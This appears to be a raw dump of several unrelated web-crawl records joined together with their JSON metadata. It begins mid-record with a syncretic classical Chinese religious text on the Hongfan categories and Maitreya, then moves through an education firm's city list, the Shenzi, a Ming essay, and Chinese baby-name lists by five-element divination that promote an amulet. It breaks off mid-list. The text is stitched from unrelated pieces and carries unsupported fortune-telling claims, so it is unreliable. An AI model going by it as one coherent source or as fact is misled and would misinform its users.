一曰五行二曰五事三曰八政四曰五紀五曰皇極六曰三德七曰稽疑八曰庶徵九曰五福 六極 五福六極其數-共十有一大衍數 洪範之法不出於九疇之外 彛倫之道舍此而何以哉 彛倫之道常在於九疇之中 周易不言五行五行不言用無適而非用也 洪範不言陰陽皇極不言數非可以數明也 日月從角起 天無體二十八宿爲天體 天亦從角起 二十八宿爲經 二十八日周天度數復行天無度日月五星爲天度 欽若昊天曆像日月 日月五星爲緯 星敬授人時曰有道道有德德有化化有育育有蒼生蒼生有億兆億兆願戴唐堯 道者昭著於人倫五行之下得其道則有衆休之徵失其道則有衆咎之徵休咎 徵於天得失在於人雨暘暖寒風行乎歲月日時中不違時則草木百穀豊茂失其 時則草木白穀不實其害及於人民民之麗于土猶星之麗于天庶民衆多如星之 衆多之像盖民之安否察於星星之風雨本於日月之九道本於日故庶民惟星繼 之以日月之行 曆數所以推天運之常 星搖則民勞也 庶徵所以驗人事之感 五星同色天下偃兵歌舞太平以此觀之庶民之安否驗之於星是爲信也聖人心 術淵源之所寓精神流通之所及豈可以窺哉在天之天不可得以見在器之天可 得以見矣 形而上者謂之道 形而上者是理 道非器不形 形而下者謂之器 形而下者是 物 器非道不立 道不離器 盖陰陽亦器也 理與器未嘗不離也 器不離道 盖人身亦器也言語動靜便是人之理理在器上器亦道道亦器理在其中 世界有意此山出 紀運金天藏物華 易與天地準故能彌綸天地之道彌有終竟聯合之意彌則合萬爲一易曰井道不 可不革故受之以革革物莫若鼎故受之以鼎主器者莫若長子故受之以震革去 舊鼎取新 彌勒佛立於鼎上 佛之形體仙之造化儒之凡節九年洪水七年大旱千秋萬歲歲盡佛仙儒 (現) 萬國活計南朝鮮淸風明月金山寺 (隱) 心靈神臺 享員 南無阿彌陀佛 (現) 天爲父 母岳山金山寺 卽 履德之基也 (隱) 地爲母 基地不修慈善何立 (現) 三層殿 鎭撫東洋三國之佛 (隱) 火風鼎器藏於世待時而用何不利乎 (現) 佛有自然之像則有自然之理常人見其像昧其理聖人見其像知其理使人成立 道器以利天下之衆生微哉微哉道在而不可見事在而不可聞勝在而不可知 大病出於無道小病出於無道得其有道則大病勿藥自效小病勿藥自效忘其君 無道忘其父無道忘其師無道天下紛紜自作死黨以不安聖上之心以不安聖父 之心以不安聖師之心世無忠世無孝世無烈是故天下皆病有天下之病者用天 下之藥厥病乃愈宮商角徵羽聖人乃作先天下之職先天下之業職者醫也業者 統也醫通不可不文字戒於人孔子魯之大司寇孟子善說齊梁之君東有大聖人 曰東學西有大聖人曰西學都是敎民化民 元亨利貞奉天地道術藥局在全州銅谷生死判斷 天地生氣始於東方日本出於東益者-友損者-三友其瑞-在東言聽神 計用 天地人神有巢文天文陰陽政事政幕大於文武文武之政布在方策人道主於有 爲最爲敏政地道主於發生最爲敏樹文武之擧息在於人人有志於政尙法其文 武之政政者以正不正之人近日日本文神武神幷務道通巳亥天地之門戶七星 天之樞機斗柄星辰七星主張七星經爲政以德譬如北辰所居衆星共之所居至 靜能制動所務至寡能服衆德者本財者末德行於道道得於心則有日新之功所 行昭著萬古明鑑佛日出時降法雨露世間眼目今玆始開有緣者皆悉聞知好道 遷佛佛成人事 千里湖程孤棹遠 萬方春氣一筐圓","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ko.wikisource.org\/wiki\/%EC%A4%91%ED%99%94%EA%B2%BD_(%EC%9B%90%EB%AC%B8)","date":"2022-05-19T15:50:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662529538.2\/warc\/CC-MAIN-20220519141152-20220519171152-00362.warc.gz","language":"lzh","language_score":0.7327030897,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.7327030897140503, \"nan_Hani_score\": 0.12371587008237839, \"cmn_Hani_score\": 0.11352793127298355, \"yue_Hani_score\": 0.01163978036493063}","num_words":463,"character_repetition_ratio":0.002,"word_repetition_ratio":0.0,"special_characters_ratio":0.053,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.733,"perplexity_score":500.0,"cluster_detection":1} +{"text":"環球教育教育優勢\n填寫您的心愿,顧問幫你找!\n環球教育校區地址\n安慶 北京 保定 濱州 成都 長沙 長春 重慶 常州 滄州 大連 東莞 達州 德清 福州 撫順 阜陽 佛山 廣州 高郵 貴陽 杭州 合肥 邯鄲 惠州 衡陽 ???淮安 濟南 嘉興 江門 晉中 金華 昆明 昆山 洛陽 臨沂 蘭州 馬鞍山 南京 南通 寧波 南昌 南寧 青島 秦皇島 泉州 如皋 上海 深圳 沈陽 蘇州 紹興 石家莊 汕頭 順德 天津 太原 塘沽 泰州 臺州 無錫 武漢 溫州 濰坊 蕪湖 威海 西安 廈門 西寧 岳陽 揚州 銀川 煙臺 余姚 鷹潭 鹽城 義烏 鄭州 中山 珠海 鎮江 遵義","id":"","dump":"CC-MAIN-2023-06","url":"http:\/\/www.irbtt.com\/huanqiujy","date":"2023-02-08T09:53:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764500758.20\/warc\/CC-MAIN-20230208092053-20230208122053-00551.warc.gz","language":"lzh","language_score":0.9688584805,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.9688584804534912, \"nan_Hani_score\": 0.029548725113272667}","num_words":85,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.318,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.966,"perplexity_score":500.0,"cluster_detection":1} +{"text":"威德天有明.不憂人之暗也.地有財.不憂人之貧也.聖人有德.不憂人之危也.天雖不憂人之暗.闢戶牖必取己明焉.則天無事也.地雖不憂人之貧.伐木刈草必取己富焉.則地無事也.聖人雖不憂人之危.百姓準上而比於下.其必取己安焉.則聖人無事也.故聖人處上.能無害人.不能使人無己害也.則百姓除其害矣.聖人之有天下也.受之也.非取之也.百姓之於聖人也.養之也.非使聖人養己也.則聖人無事矣.毛嬙.西施.天下之至姣也.衣之以皮倛.則見者皆走.易之以元緆.則行者皆止.由是觀之.則元緆色之助也.姣者辭之.則色厭矣.走背跋窮谷野走十里.藥也.走背辭藥則足廢.故騰蛇遊霧.飛龍乘雲.雲罷霧霽.與蚯蚓同.則失其所乘也.故賢而屈於不肖者.權輕也.不肖而服於賢者.位尊也.堯為匹夫.不能使其鄰家.至南面而王.則令行禁止.由此觀之.賢不足以服不肖.而勢位足以屈賢矣.故無名而斷者.權重也.弩弱而矰高者.乘於風也.身不肖而令行者.得助於眾也.故舉重越高者.不慢於藥.愛赤子者.不慢於保.絕險歷遠者.不慢於御.此得助則成.釋助則廢矣.夫三王五伯之德.參於天地.通於鬼神.周於生物者.其得助博也.古者.工不兼事.士不兼官.工不兼事則事省.事省則易勝.士不兼官則職寡.職寡則易守.故士位可世.工事可常.百工之子.不學而能者.非生巧也.言有常事也.今也國無常道.官無常法.是以國家日繆.教雖成.官不足.官不足則道理匱.道理匱則慕賢智.慕賢智則國家之政要.在一人之心矣.古者.立天子而貴之者.非以利一人也.曰.天下無一貴.則理無由通.通理以為天下也.故立天子以為天下.非立天下以為天子也.立國君以為國.非立國以為君也.立官長以為官.非立官以為長也.法雖不善.猶愈於無法.所以一人心也.夫投鉤以分財.投策以分馬.非鉤策為均也.使得美者.不知所以德.使得惡者.不知所以怨.此所以塞願望也.故蓍龜.所以立公識也.權衡.所以立公正也.書契.所以立公信也.度量.所以立公審也.法制禮籍.所以立公義也.凡立公.所以棄私也.明君動事分功必由慧.定賞分財必由法.行德制中必由禮.故欲不得干時.愛不得犯法.貴不得踰親.祿不得踰位.士不得兼官.工不得兼事.以能受事.以事受利.若是者.上無羨賞.下無羨財.\n因循天道因則大.化則細.因也者.因人之情也.人莫不自為也.化而使之為我.則莫可得而用矣.是故先王見不受祿者不臣.祿不厚者.不與入難.人不得其所以自為也.則上不取用焉.故用人之自為.不用人之為我.則莫不可得而用矣.此之謂因.\n民雜民雜處而各有所能.所能者不同.此民之情也.大君者.太上也.兼畜下者也.下之所能不同.而皆上之用也.是以大君因民之能為資.盡包而畜之.無能去取焉.是故不設一方以求於人.故所求者無不足也.大君不擇其下.故足.不擇其下.則易為下矣.易為下則莫不容.莫不容故多下.多下之謂太上.君臣之道.臣事事而君無事.君逸樂而臣任勞.臣盡智力以善其事.而君無與焉.仰成而巳.故事無不治.治之正道然也.人君自任.而務為善以先下.則是代下負任蒙勞也.臣反逸矣.故曰.君人者.好為善以先下.則下不敢與君爭為善以先君矣.皆私其所知以自覆掩.有過.則臣反責君.逆亂之道也.君之智.未必最賢於眾也.以未最賢而欲以善盡被下.則不贍矣.若使君之智最賢.以一君而盡贍下則勞.勞則有倦.倦則衰.衰則復反於不贍之道也.是以人君自任而躬事.則臣不事事.是君臣易位也.謂之倒逆.倒逆則亂矣.人君苟任臣而勿自躬.則臣皆事事矣.是君臣之順.治亂之分.不可不察也.\n知忠亂世之中.亡國之臣.非獨無忠臣也.治國之中.顯君之臣.非獨能盡忠也.治國之人.忠不偏於其君.亂世之人.道不偏於其臣.然而治亂之世.同世有忠道之人.臣之欲忠者不絕世.而君未得寧其上.無遇比干子胥之忠.而毀瘁主君於闇墨之中.遂染溺滅名而死.由是觀之.忠未足以救亂世.而適足以重非.何以識其然也.曰.父有良子而舜放瞽叟.桀有忠臣而過盈天下.然則孝子不生慈父之家.而忠臣不生聖君之下.故明主之使其臣也.忠不得過職.而職不得過官.是以過修於身.而下不敢以善驕矜守職之吏.人務其治.而莫敢淫偷其事.官正以敬其業.和順以事其上.如此.則至治已.亡國之君.非一人之罪也.治國之君.非一人之力也.將治亂.在乎賢使任職而不在於忠也.故智盈天下.澤及其君.忠盈天下.害及其國.故桀之所以亡.堯不能以為存.然而堯有不勝之善.而桀有運非之名.則得人與失人也.故廊廟之材.蓋非一木之枝也.粹白之裘.蓋非一狐之皮也.治亂安危.存亡榮辱之施.非一人之力也.\n德立立天子者.不使諸侯疑焉.立諸侯者.不使大夫疑焉.立正妻者.不使嬖妾疑焉.立嫡子者.不使庶孽疑焉.疑則動.兩則爭.雜則相傷.害在有與不在獨也.故臣有兩位者國必亂.臣兩位而國不亂者.君在也.恃君而不亂矣.失君必亂.子有兩位者家必亂.子兩位而家不亂者.父在也.恃父而不亂矣.失父必亂.臣疑其君.無不危之國.孽疑其宗.無不危之家.\n君人君人者.舍法而以身治.則誅賞予奪.從君心出矣.然則受賞者雖當.望多無窮.受罰者雖當.望輕無已.君舍法.而以心裁輕重.則同功殊賞.同罪殊罰矣.怨之所由生也.是以分馬者之用策.分田者之用鉤.非以鉤策為過於人智也.所以去私塞怨也.故曰.大君任法而弗躬.則事斷於法矣.法之所加.各以其分.蒙其賞罰而無望於君也.是以怨不生而上下和矣.\n君臣為人君者不多聽.據法倚數以觀得失.無法之言.不聽於耳.無法之勞.不圖於功.無勞之親.不任於官.官不私親.法不遺愛.上下無事.唯法所在.\n慎子逸文行海者.坐而至越.有舟也.行陸者.立而至秦.有車也.秦越遠途也.安坐而至者.械也.\n厝鈞石.使禹察錙銖之重.則不識也.懸於權衡.則氂髮之不可差.則不待禹之智.中人之知.莫不足以識之矣.\n諺云.不聰不明.不能為王.不瞽不聾.不能為公.海與山爭水.海必得之.\n禮從俗.政從上.使從君.國有貴賤之禮.無賢不肖之禮.有長幼之禮.無勇怯之禮.有親疏之禮.無愛憎之禮也.\n法之功.莫大使私不行.君之功.莫大使民不爭.今立法而行私.是私與法爭.其亂甚於無法.立君而尊賢.是賢與君爭.其亂甚於無君.故有道之國.法立則私議不行.君立則賢者不尊.民一於君.事斷於法.是國之大道也.\n河之下龍門.其流.駛如竹箭.駟馬追.弗能及.有權衡者.不可欺以輕重.有尺寸者.不可差以長短.有法度者.不可巧以詐偽.\n有虞之誅.以幪巾當墨.以草纓當劓.以菲履當刖.以艾s當宮.布衣無領當大辟.此有虞之誅也.斬人肢體.鑿其肌膚.謂之刑.畫衣冠.異章服.謂之戮.上世用戮而民不犯也.當世用刑而民不從.\n昔者.天子手能衣而宰夫設服.足能行而相者導進.口能言而行人稱辭.故無失言失禮也.\n離朱之明.察秋毫之末於百步之外.下於水尺.而不能見淺深.非目不明也.其勢難睹也.\n堯讓許由.舜讓善卷.皆辭為天子而退為匹夫.\n折券契.屬符節.賢不肖用之.\n魯莊公鑄大鐘.曹劌入見曰.今國褊小而鐘大.君何不圖之.\n公輸子.巧用材也.不能以檀為瑟.\n孔子曰.邱少而好學.晚而聞道.以此博矣.\n孔子云.有虞氏不賞不罰.夏后氏賞而不罰.殷人罰而不賞.周人賞且罰.罰.禁也.賞.使也.\n燕鼎之重乎千鈞.乘於吳舟.則可以濟.所託者.浮道也.\n君臣之間.猶權衡也.權左輕則右重.右重則左輕.輕重迭相橛.天地之理也.\n飲過度者生水.食過度者生貪.\n故治國無其法則亂.守法而不變則衰.有法而行私.謂之不法.以力役法者百姓也.以死守法者有司也.以道變法者君長也.\n一兔走街.百人追之.貪人具存.人莫之非者.以兔為未定分也.積兔滿市.過而不顧.非不欲兔也.分定之後.雖鄙不爭.\n匠人知為門.能以門.所以不知門也.故必杜.然後能門.\n勁而害能則亂也.云能而害無能則亂也.\n棄道術.舍度量.以求一人之識識天下.誰子之識能足焉.\n多賢不可以多君.無賢不可以無君.\n匠人成棺.不憎人死.利之所在.忘其醜也.\n獸伏就穢.\n夫德精微而不見.聰明而不發.是故外物不累其內.\n夫道.所以使賢無奈不肖何也.所以使智無奈愚何也.若此.則謂之道勝矣.\n道勝則名不彰.\n趨事之有司.賤也.\n臣下閉口.左右結舌.\n久處無過之地.則世俗聽矣.\n昔周室之衰也.厲王擾亂天下.諸侯力政.人欲獨行以相兼.\n眾之勝寡.必也.\n詩.往志也.書.往誥也.春秋.往事也.\n兩貴不相事.兩賤不相使.\n家富則疏族聚.家貧則兄弟離.非不相愛.利不足相容也.\n藏甲之國.必有兵遁.市人可驅而戰.安國之兵.不由忿起.\n蒼頡在庖犧之前.\n為毳者.患塗之泥也.\n晝無事者夜不夢.\n田駢名廣.\n桀紂之有天下也.四海之內皆亂.關龍逢王子比干不與焉.而謂之皆亂其亂者眾也.堯舜之有天下也.四海之內皆治.而丹朱商均不與焉.而謂之皆治.其治者眾也.\n君明臣直.國之福也.父慈子孝.夫信妻貞.家之福也.故比干忠而不能存殷.申生孝而不能安晉.是皆有忠臣孝子而國家滅亂者.何也.無明君賢父以聽之.故孝子不生慈父之家.忠臣不生聖君之下.\n王者有易政而無易國.有易君而無易民.湯武非得伯夷之民以治.桀紂非得蹠蹻之民以亂也.民之治亂在於上.國之安危在於政.\n夏箴曰.小人無兼年之食.遇天饑.妻子非其有也.大夫無兼年之食.遇天饑.臣妾輿馬.非其有也.戒之哉.\n與天下於人.大事也.煦煦者以為惠.而堯舜無德色.取天下於人.大嫌也.潔潔者以為污.而湯武無愧容.惟其義也.\n日月為天下眼目.人不知德.山川為天下衣食.人不能感.有勇不以怒.反與怯均也.\n小人食於力.君子食於道.先王之訓也.故常欲耕而食天下之人矣.然一身之耕.分諸天下.不能人得一升粟.其不能飽可知也.欲織而衣天下之人矣.然一身之織.分諸天下.不能人得尺布.其不能煖可知也.故以為不若誦先王之道而求其說.通聖人之言而究其旨.上說王公大人.次匹夫徒步之士.王公大人用吾言.國必治.匹夫徒步之士用吾言.行必修.雖不耕而食饑.不織而衣寒.功賢於耕而食之.織而衣之者也.\n法非從天下.非從地出.發於人間.合乎人心而已.治水者.茨防決塞.九州四海.相似如一.學之於水.不學之於禹也.\n古之全大體者.望天地.觀江海.因山谷.日月所照.四時所行.雲布風動.不以智累心.不以私累己.寄治亂於法術.託是非於賞罰.屬輕重於權衡.不逆天理.不傷情性.不吹毛而求小疵.不洗垢而察難知.不引繩之外.不推繩之內.不急法之外.不緩法之內.守成理.因自然.禍福生乎道法.而不出乎愛惡.榮辱之責在乎己.而不在乎人.故至安之世.法如朝露.純樸不欺.心無結怨.口無煩言.故車馬不弊於遠路.旌旗不亂於大澤.萬民不失命於寇戎.豪傑不著名於圖書.不錄功於盤盂.記年之牒空虛.故曰利莫長於簡.福莫久於安.\n鷹.善擊也.然日擊之.則疲而無全翼矣.驥.善馳也.然日馳之.則蹶而無全蹄矣.\n能辭萬鐘之祿於朝陛.不能不拾一金於無人之地.能謹百節之禮於廟宇.不能不弛一容於獨居之餘.蓋人情每狎於所私故也.\n不肖者.不自謂不肖也.而不肖見於行.雖自謂賢.人猶謂之不肖也.愚者不自謂愚也.而愚見於言.雖自謂智.人猶謂之愚.\n法者.所以齊天下之動.至公大定之制也.故智者不得越法而肆謀.辯者不得越法而肆議.士不得背法而有名.臣不得背法而有功.我喜可抑.我忿可窒.我法不可離也.骨肉可刑.親戚可滅.至法不可闕也.\n善為國者.移謀身之心而謀國.移富國之術而富民.移保子孫之志而保治.移求爵祿之意而求義.則不勞而化理成矣.\n始吾未生之時.焉知生之為樂也.今吾未死.又焉知死之為不樂也.故生不足以使之.利何足以動之.死不足以禁之.害何足以恐之.明於死生之分.達於利害之變.是以目觀玉輅琬象之狀.耳聽白雪清角之聲.不能以亂其神.登千仞之谿.臨蝯眩之岸.不足以淆其知.夫如是.身可以殺.生可以無.仁可以成.\n鳥飛於空.魚游於淵.非術也.故為鳥為魚者.亦不自知其能飛能游.苟知之.立心以為之.則必墮必溺.猶人之足馳手捉.耳聽目視.當其馳捉聽視之際.應機自至.又不待思而施之也.苟須思之而後可施之則疲矣.是以任自然者久.得其常者濟.\n周成王問鬻子曰.寡人聞聖人在上位.使民富且壽.若夫富.則可為也.若夫壽.則在天乎.鬻子對曰.夫聖王在上位.天下無軍兵之事.故諸侯不私相攻.而民不私相鬥也.則民得盡一生矣.聖王在上.則君積於德化.而民積於用力.故婦人為其所衣.丈夫為其所食.則民無凍餓.民得二生矣.聖人在上.則君積於仁.吏積於愛.民積於順.則刑罰廢而無夭遏之誅.民則得三生矣.聖王在上.則使人有時.而用之有節.則民無癘疾.民得四生矣.","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/www.521yy.com\/guoxue\/%E6%85%8E%E5%AD%90.htm","date":"2017-03-28T13:57:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218189771.94\/warc\/CC-MAIN-20170322212949-00471-ip-10-233-31-227.ec2.internal.warc.gz","language":"lzh","language_score":0.4507964551,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.4507964551448822, \"cmn_Hani_score\": 0.1863846331834793, \"nan_Hani_score\": 0.09937406331300735, \"zxx_Latn_score\": 0.034368470311164856, \"und_Tang_score\": 0.0284743495285511, \"wuu_Hani_score\": 0.01867605932056904, \"jpn_Jpan_score\": 0.016324209049344063, \"yue_Hani_score\": 0.011918997392058372, \"und_Cyrl_score\": 0.01026796642690897}","num_words":66,"character_repetition_ratio":0.002,"word_repetition_ratio":0.0,"special_characters_ratio":0.176,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.355,"perplexity_score":500.0,"cluster_detection":1} +{"text":"言解\n言惡乎宜?曰:宜於用,不宜於無用。言之接物,與喜怒哀樂均也。當乎所接之物,是言之道也。終日而談鬼,人謂之無用矣,以其不切於己也。終日而談道,人謂之有用矣,以其切於己也。夫以切於己而終日談之,而不當於所接之物,則與談鬼者何異?\n孔子曰:「庸言之謹。」非謂謹其所不可言,雖可言而謹耳。道之在人,若耳目口鼻,見之者不問,有之者不言。使人終日而言吾耳若何,吾目若何,吾口與鼻若何,則人以為狂謬矣,實有耳目口鼻者,不待言也。饑者言食,而飽者不言;寒者言衣,而暖者不言。\n昔者宰我、子貢習聞夫子之教,而能為仿佛近似之論,其言非不依於道,而當時擬之以為言語之科。夫學者之學,舍德行而有言語之名,為宰我、子貢者,亦可恥矣。曾子曰「唯」,顏子「如愚」,二子不為無實之言,而卒以至於聖人之道。孔子曰:予欲無言。聖人之重言也如是。聖人非以言為重者也。四時行,百物生,聖人之道也。\n|本明朝作品在全世界都属于公有领域,因为作者逝世已经遠遠超过100年。|","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/zh.wikisource.org\/wiki\/%E8%A8%80%E8%A7%A3","date":"2019-10-14T13:19:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986653247.25\/warc\/CC-MAIN-20191014124230-20191014151730-00236.warc.gz","language":"lzh","language_score":0.5183025002,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.5183025002479553, \"cmn_Hani_score\": 0.4282691776752472, \"wuu_Hani_score\": 0.023259488865733147, \"nan_Hani_score\": 0.021119827404618263}","num_words":5,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.175,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.765,"perplexity_score":500.0,"cluster_detection":1} +{"text":"就不需弥补。其实这是不太正确的,下面有起名网提供了一些带土属性的崔姓名字,都是八字中五行缺什么就在名字中补什么,崔婉静 崔丽慧 崔惠娴 崔琼玉 崔婉晴 崔韵诗 崔婉兰 崔美瑛 崔忆珊 崔倩容 崔依琴 崔怡萍 崔培雅 崔紫静 崔语嫣 崔玥婷 崔素娥 崔坤玲 崔缘琪 崔垭兰 崔雅音 崔培敏 崔君婉 崔秀娴 崔墨兰 崔忆彤 崔盈梦 崔怡玉 崔紫瑛 崔瑾月 崔嫣丽 崔玥茹 崔以萱 崔忆芬 崔依茹 崔小婉 崔静玥 崔意涵 崔伊芸 崔欣怡 崔思玥 崔韵婷 崔玥影 崔韵婷 崔子怡 崔丽依 崔海燕 崔艳琪 崔洁怡 崔以倩 崔琼丹 崔依珊 崔雅琴 崔意欣 崔琼兰 崔依莹 崔琼英 崔瑰颖 崔丽珊 崔珠玉 崔姓五行缺土起名 男孩名字怎样给五行缺土崔姓起名才好呢?很多人起名,而应先根据八字喜忌用神看缺的五行吉凶,大家可以来参考一下: 崔以辰 崔展翔 崔圣云 崔文磊 崔运文 崔培俊 崔明勋 崔浩依 崔宥嘉 崔坚宁 崔维文 崔伟庭 崔泽佑 崔依振 崔宇轩 崔铭宇 崔亦宸 崔翰伟 崔咏杰 崔逸凡 崔容轩 崔圣恩 崔泽崔 崔裕誉 崔仲勋 崔文誉 崔永俊 崔知彰 崔尧恩 崔博阳 崔冠城 崔伟林 崔圣楠 崔晋永 崔胜强 崔健邦 崔玮坤 崔仲勋 崔智轩 崔亦朋 崔伟昌 崔维康 崔俊磊 崔恩俊 崔逸宁 崔宇靖 崔玮业 崔俊基 崔永思 崔俊城 崔伟靖 崔容浩 崔培林 崔宇阳 崔宇靖 崔绍基 崔逸尘 崔韵轩 崔嘉琦 崔运佳 女孩名字若所缺五行对命主不利 ,\n如果你想给宝宝起个更符合其五行命理的名字,参考《徐氏五行命相学》来起会是个不错的选择。例如你的宝宝正是徐墨斋居士说的\"阴命金相人\",五行喜土、金,而宝宝五行缺土,那么可以用土属性的字来给宝宝起名,这样起好的名字更有助于宝宝的平安成长。倘若家里条件允许的话,家长们不妨给宝宝佩戴一枚\"金镶玉关公\",可以趋吉避凶、化小人、保平安。\n邦利德生物科技有限公司","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/www.luenes.com\/zhouyiqiming\/378.html","date":"2019-12-14T05:34:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540584491.89\/warc\/CC-MAIN-20191214042241-20191214070241-00335.warc.gz","language":"lzh","language_score":0.7052654028,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.7052654027938843, \"cmn_Hani_score\": 0.28939270973205566}","num_words":125,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.198,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.867,"perplexity_score":500.0,"cluster_detection":1} +{"text":"夏姓,是一个纯汉族、源流单一的姓氏,在宋版《百家姓》中排名第154位。据2010年全国第六次人口普查统计结果显示,中国夏氏人口约468万,约占中国人口总数的0.39%,排名第55位。夏姓男孩怎么起名?下面小编带来夏姓男孩100分名字,希望对大家有所帮助。\n夏秋鲜 夏姝润 夏峪洋 夏涧龙 夏锡芝 夏依智 夏豉 夏夕枫 夏兰忠 夏韬滔 夏翎皓 夏仕博 夏侯杜 夏世曦 夏加瀚 夏慧斐 夏曼强 夏润淇 夏才生 夏宜玫 夏巍吾 夏玮粞 夏济翔 夏初灵 夏蓝翼 夏艳宇 夏侯淘 夏璨谕 夏耕麟 夏郦涓 夏齐佑 夏翎博 夏眺眸 夏靖凌 夏炳欣 夏侯围 夏祺睿 夏水舟 夏敬尧 夏左曜 夏景熠 夏卫鹰 夏嘉施 夏云轩 夏若颦 夏世树 夏祖委 夏润晔 夏嘉鹂 夏瑞象 夏启武 夏月灿 夏意珍 夏兆熠 夏森如 夏侯椁 夏浩焊 夏尚永 夏却 夏浩赢 夏乾巍 夏孙珲 夏贺炀 夏晓磷 夏雨慕 夏文博 夏重光 夏绪统 夏裕轩 夏啸昌 夏彬达 夏杨庆 夏瑞立 夏海钥 夏健超 夏奉兰 夏枭杰 夏棋畅 夏鹏沅 夏丽雯 夏海莫 夏迅畅 夏齐熙 夏圣高\n夏偌纤 夏奇生 夏浩诚 夏羽哲 夏银敬 夏花宇 夏景雄 夏壬其 夏炜嵘 夏锋杰 夏秋羲 夏江朋 夏祉怿 夏曼鸿 夏庆婉 夏曼蕊 夏琰培 夏沂萱 夏国翔 夏浩瑞 夏沐椿 夏笍瑜 夏妙娱 夏占泳 夏亦幽 夏儿宝 夏侯鹦 夏德香 夏戟洵 夏弓普 夏长晔 夏元秘 夏功达 夏民道 夏效曾 夏萌珍 夏禄鑫 夏豫粲 夏缘惜 夏欲函 夏津昕 夏匀寸 夏芮今 夏冉心 夏增晔 夏丽忠 夏一骁 夏堡丞 夏抓鹰 夏夙珂 夏检顺 夏旖沙 夏科岩 夏韵棋 夏妙荭 夏玮楷 夏随顺 夏弘凡 夏丞田 夏存韩 夏雪铧 夏植荣 夏聿童 夏和谦 夏非阳 夏文璎 夏廷湖 夏弘桦 夏浩玄 夏闳滔 夏嘉勇 夏凌沁 夏泽光 夏福党 夏朽 夏加席 夏满阳 夏哲览 夏存林 夏箫天 夏名泰 夏桑妮 夏凌哲 夏见珍 夏果鸿 夏辉哲 夏欣嵘 夏朋洋 夏蓉 夏小陆 夏蕴广 夏芮岭 夏沛乐 夏诗沁 夏闵婕 夏浩翔 夏玟希 夏蕊立 夏富全 夏纾缇 夏彬文 夏镖阳 夏德慈 夏聃禾 夏豪利 夏野璋 夏尔心 夏熙朴 夏恩铬 夏哓岭 夏和钧 夏锐林 夏彩顺 夏粟菡 夏聿泉 夏忠铖 夏花语 夏玉鸣 夏多能 夏璐钧 夏上晋 夏晚露 夏炜书 夏弘杨 夏与还 夏坚雄 夏视程 夏沥军 夏芮珊 夏一韵 夏武珏 夏骧 夏叶凌 夏宸月 夏成桦 夏温越 夏季喜 夏子蒙 夏酉桓 夏冉本 夏其忠 夏语越 夏西泰 夏靖栋 夏壹涵 夏品岩 夏竣安 夏旭秋 夏俐科 夏建伟 夏新锦 夏诸桦 夏良革 夏桢骐 夏栩柯 夏昕帆 夏平霖 夏赐坤 夏永箨 夏子澄 夏宜隆 夏万宁 夏义鲁 夏晨腾 夏云州 夏德初 夏慢达 夏筹纪 夏崧土 夏睿志 夏千予 夏新昌 夏展涵 夏泫犀 夏奇异 夏圣福 夏晶忆 夏玮健 夏昕建 夏雨映 夏姝凤 夏识循 夏泳泰 夏宜初 夏古瀚 夏敏彰 夏哲武 夏万营 夏中宇 夏钦茗 夏译芷 夏侯裕 夏孟雯 夏绣利 夏武函 夏昱绮 夏侯躏 夏玮亚 夏伦游 夏晓枚 夏银泽 夏叶岸 夏沁谍 夏吉浩 夏丛溪 夏齐灏 夏果秀 夏时俊 夏旭粟 夏槟华 夏旭群 夏侯鲜 夏越午 夏珍玮 夏泉海 夏福熹 夏苛海 夏孝瑞 夏卓忻 夏崎如 夏昵元 夏彤 夏冬逍 夏佟肜 夏霈云 夏千林 夏鸣天 夏杉首 夏行函 夏敬凡 夏识清 夏彦震 夏语跃 夏西裘 夏耀菲 夏耘良 夏坚敦 夏国继 夏侯锬 夏占立 夏威威 夏侯泓 夏岵沣 夏煊博 夏济孺 夏首作 夏弘恩 夏尔玺 夏新心 夏崇灏 夏一代 夏才凤 夏锐彪 夏平定 夏诚海 夏聪坤 夏问蓝 夏中远 夏仕成 夏肘子 夏紫弘 夏英润 夏谱 夏石谕 夏曰明 夏艺彬 夏蓝特 夏侯芙 夏芯苇 夏誉蕉 夏名贤 夏甄凝 夏卡漫 夏俊宇 夏雪净 夏睿基 夏顺佳 夏任谷 夏恩郡 夏满堂 夏松阳 夏永坡 夏赭曦 夏居平 夏竹铧 夏雍生 夏容术 夏仂水 夏玮靖 夏温毅 夏兆琨 夏祝三 夏军来 夏择航 夏穗勋 夏子清 夏浩藏 夏心薇 夏潇鲜 夏煜斌 夏润妙 夏维菁 夏伟胜 夏鹏炜 夏立金 夏利蔚 夏溪鑫 夏梦忆 夏菲铃 夏惠展 夏轶斐 夏奕知 夏歆淇 夏侯宽 夏榕岭 夏铖轩 夏瑷孜 夏金煌 夏福南 夏桀菲 夏琛琦 夏昱昀 夏侯挹 夏治邦 夏饶艺 夏木棉 夏戏可 夏敖林 夏胤广 夏弘名 夏锌媚 夏侯葶 夏旭真 夏贤雨 夏侯筠 夏紫晏 夏紊淇 夏鑫航 夏勇罗 夏士民 夏明娴 夏蕙婕 夏雅楦 夏森论 夏智迪 夏邦钧 